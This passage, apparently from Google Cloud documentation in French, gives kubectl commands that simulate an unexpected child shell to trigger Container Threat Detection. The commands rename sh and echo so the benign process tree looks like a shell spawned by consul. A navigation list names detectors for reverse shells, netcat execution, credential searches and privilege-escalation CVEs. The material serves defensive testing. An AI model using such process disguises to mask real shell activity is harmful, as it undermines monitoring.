Cette procédure de test crée un résultat d'interface système inversée que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Shell enfant inattendu

Pour tester le détecteur Unexpected Child Shell, vous pouvez créer un arbre de processus qui inclut un processus shell enfant.

L'exemple suivant crée un arbre de processus consul->dash, qui peut être détecté par le détecteur Unexpected Child Shell. Ce test est sûr, car il n'utilise que des binaires intégrés. Cet exemple effectue les opérations suivantes :

Crée une copie du processus sh et la nomme consul.
Copie le processus echo et le nomme dash.
Appelle le processus dash copié dans le processus consul copié.

Pour déclencher un résultat Unexpected Child Shell :

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Utilisez le processus de simulation consul pour appeler un shell de simulation :

Nœud x86 :

tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu "$tag" \
   --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

Nœud ARM :

tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

Cette procédure de test crée un résultat Unexpected Child Shell que vous pouvez afficher dans Security Command Center. Si la journalisation est configurée pour Container Threat Detection et que vous avez activé Security Command Center Premium ou Enterprise au niveau de l'organisation, vous pouvez également afficher le résultat dans Cloud Logging.

Étapes suivantes

Découvrez comment utiliser Container Threat Detection.

Tester Container Threat Detection Restez organisé à l'aide des collections Enregistrez et classez les contenus selon vos préférences.

Avant de commencer

Activer les détecteurs

Définir des variables d'environnement

Fichier binaire ajouté exécuté

Ajout de bibliothèque chargée

Collection : Modification Pam.d (Aperçu)

Commande et contrôle : outil de stéganographie détecté

Accès aux identifiants : accès aux fichiers sensibles sur les nœuds (aperçu)

Accès aux identifiants : trouver des identifiants Google Cloud

Accès aux identifiants : reconnaissance des clés GPG

Accès aux identifiants : rechercher des clés privées ou des mots de passe

Contournement des défenses : lignes de commande avec fichier ELF en base64

Contournement des défenses : script Python encodé en base64 exécuté

Contournement des défenses : script shell encodé en base64 exécuté

Defense Evasion : Désactiver ou modifier le système d'audit Linux (aperçu)

Évitement des défenses : lancer un outil de compilation de code dans un conteneur

Defense Evasion : Certificat racine installé (bêta)

Exécution : binaire malveillant ajouté exécuté

Exécution : fuite du conteneur

Exécution : exécution sans fichier dans /memfd:

Exécution : exploitation de la faille IngressNightmare

Exécution : exécution d'un outil d'attaque de Kubernetes

Exécution : exécution d'un outil de reconnaissance local

Exécution : code Python malveillant exécuté

Exécution : binaire malveillant modifié exécuté

Exécution : exécution de code Netcat à distance dans un conteneur

Exécution : exécution possible de commandes arbitraires via CUPS (CVE-2024-47177)

Exécution : possible exécution de commande à distance détectée

Exécution : exécution d'un programme avec un environnement de proxy HTTP non autorisé

Exécution : shell inversé de Socat détecté

Exécution : modification Cron suspecte (aperçu)

Exécution : Objet partagé OpenSSL suspect chargé

Exfiltration : lancer des outils de copie de fichiers à distance dans un conteneur

Impact : Détecter les lignes de commande malveillantes

Impact : supprimer des données du disque de manière groupée

Impact : activité de minage de cryptomonnaie suspecte utilisant le protocole Stratum

Script malveillant exécuté

URL malveillante observée

Persistance : Modifier ld.so.preload (bêta)

Élévation des privilèges : utilisation abusive de Sudo pour l'élévation des privilèges (CVE-2019-14287)

Élévation des privilèges : exécution sans fichier dans /dev/shm

Élévation des privilèges : faille liée à l'élévation des privilèges locaux de Polkit (CVE-2021-4034)

Élévation des privilèges : élévation potentielle des privilèges de Sudo (CVE-2021-3156)

Interface système inversée

Shell enfant inattendu

Étapes suivantes

Tester Container Threat Detection

Exécution : exécution sans fichier dans `/memfd:`

Élévation des privilèges : exécution sans fichier dans `/dev/shm`